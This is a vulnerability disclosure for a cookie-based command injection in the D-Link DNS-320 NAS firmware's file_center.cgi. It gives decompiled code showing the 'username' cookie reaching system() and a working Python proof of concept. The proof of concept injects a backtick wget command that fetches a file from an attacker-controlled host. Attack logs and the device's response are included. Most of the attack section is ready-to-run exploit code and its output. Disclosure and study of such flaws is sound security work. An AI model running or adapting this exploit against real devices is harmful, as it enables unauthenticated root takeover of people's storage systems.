D-Link DNS-320 file_center.cgi Webdav_Upload_File Fuction Cookie Command Injection

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
int cgiMain()
{
  char s1[76]; // [sp+0h] [bp-4Ch] BYREF

  cgiFormStringNoNewlines("cmd", s1, 64);
  if ( !strcmp(s1, "Webdav_Upload_File") )
  {
    sub_AD80();
  }
```

A critical command injection vulnerability exists in `file_center.cgi` (triggered via `Webdav_Upload_File` and other commands), where the `username` cookie is unsafely passed to a `system()` call via `sprintf`, allowing unauthenticated attackers to execute arbitrary root commands.

```
int sub_AD80()
{
  char v1[1024]; // [sp+0h] [bp-104Ch] BYREF
  char v2[1088]; // [sp+400h] [bp-C4Ch] BYREF
  char v3[1024]; // [sp+840h] [bp-80Ch] BYREF
  char v4[8]; // [sp+C40h] [bp-40Ch] BYREF
  char v5[4]; // [sp+C48h] [bp-404h] BYREF

  if ( sub_A3A8() != 1 )
    return cgiHeaderLocation("/web/login.html");
  cgiHeaderContentType("text/html");
  memset(v3, 0, sizeof(v3));
  memset(v2, 0, sizeof(v2));
  memset(v1, 0, sizeof(v1));
  cgiFormStringNoNewlines("f_dir", v4, 1024);
  sub_9158(v5, v3, 1);
  sub_AB04(v3);
  xml_get_str("/network_mgr/lan/ip", 64, v2);
  sprintf(v1, "http://%s/%s", v2, v4);
  return printf("<script>location.href='%s'</script>", v1);
}
```

```
int sub_A3A8()
{
  char v1[16]; // [sp+4h] [bp-490h] BYREF
  char v2[16]; // [sp+84h] [bp-410h] BYREF
  int v3; // [sp+484h] [bp-10h]

  v3 = 1;
  cgiCookieString("username", v2, 1024);
  sprintf(v1, "echo '%s' >/tmp/test", v2);
  system(v1);
  v3 = sub_C198(v2, cgiRemoteAddr);
  sprintf(v1, "echo '%d-----------------' >/tmp/timeout", v3);
  system(v1);
  return v3;
}
```

POC

```python
import requests

url = "http://192.168.31.10/cgi-bin/file_center.cgi"

headers = {
    "Cookie": "username='`wget http://192.168.31.166:8876/poc.py`'"
}

data = {
    "cmd": "Webdav_Upload_File",
    "type": "f",
          "path": "/mnt/HD/HD_a2/test.txt",
          "permission": "111"
}

# wget http://192.168.31.166:8876/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

Attack

```
┌──(kali㉿kali)-[~/Desktop/work/firmware_unpack/dlink]
└─$ python -m http.server 8876
Serving HTTP on 0.0.0.0 port 8876 (http://0.0.0.0:8876/) ...
192.168.31.10 - - [17/Mar/2026 16:27:17] "GET /poc.py HTTP/1.0" 200 -
```

*~/Desktop/work/firmware_unpack/dlink/unauth_bypass.py - Mousepad

File Edit Search View Document Help

```python
import requests

url = "http://192.168.31.10/cgi-bin/file_center.cgi"
headers = {
    "Cookie": "username=''`wget http://192.168.31.166:8876/poc.py`
}
data = {
    "cmd": "Webdav_Upload_File",
    "type": "f",
          "path": "/mnt/HD/HD_a2/test.txt",
          "permission": "111"
}
# wget http://192.168.31.166:8876/poc.py
response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

```
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions
    resp = self.send(prep, **send_kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions
    r = adapter.send(request, **kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/adapters
    raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPConnectionPool(host='192.168.31.16

firmware_unpack/dlink]
└─$ python unauth_bypass.py

Response:
<!doctype html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="Expires" CONTENT="-1">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<link rel="stylesheet" type="text/css" href="/web/css/style.css?v20">
<script language="javascript" src="/web/jquery/js/jquery.js"></script>
<script type="text/javascript" src="/web/jquery/jquery.cookie/jquery.co
<script type="text/javascript" src="/web/jquery/jquery.cookie/jquery.co
<script type="text/javascript" src="/web/function/rc4.js"></script>
<script type="text/javascript" src="/web/function/init.js"></script>
<link rel="STYLESHEET" type="text/css" href="/web/css/button_style.css"
<style>

body, html {margin:0; padding:0; border:0;
background-repeat: repeat-x;
} /* Re-sets IE to "zero" for these values */

.login {
        background-image:url(/web/images/login.png);
        width:383px;
        height:325px;
        background-repeat:no-repeat;
        padding-top:100px;
}
```

MiB (27235214 bytes) | Free space: 14.9 GiB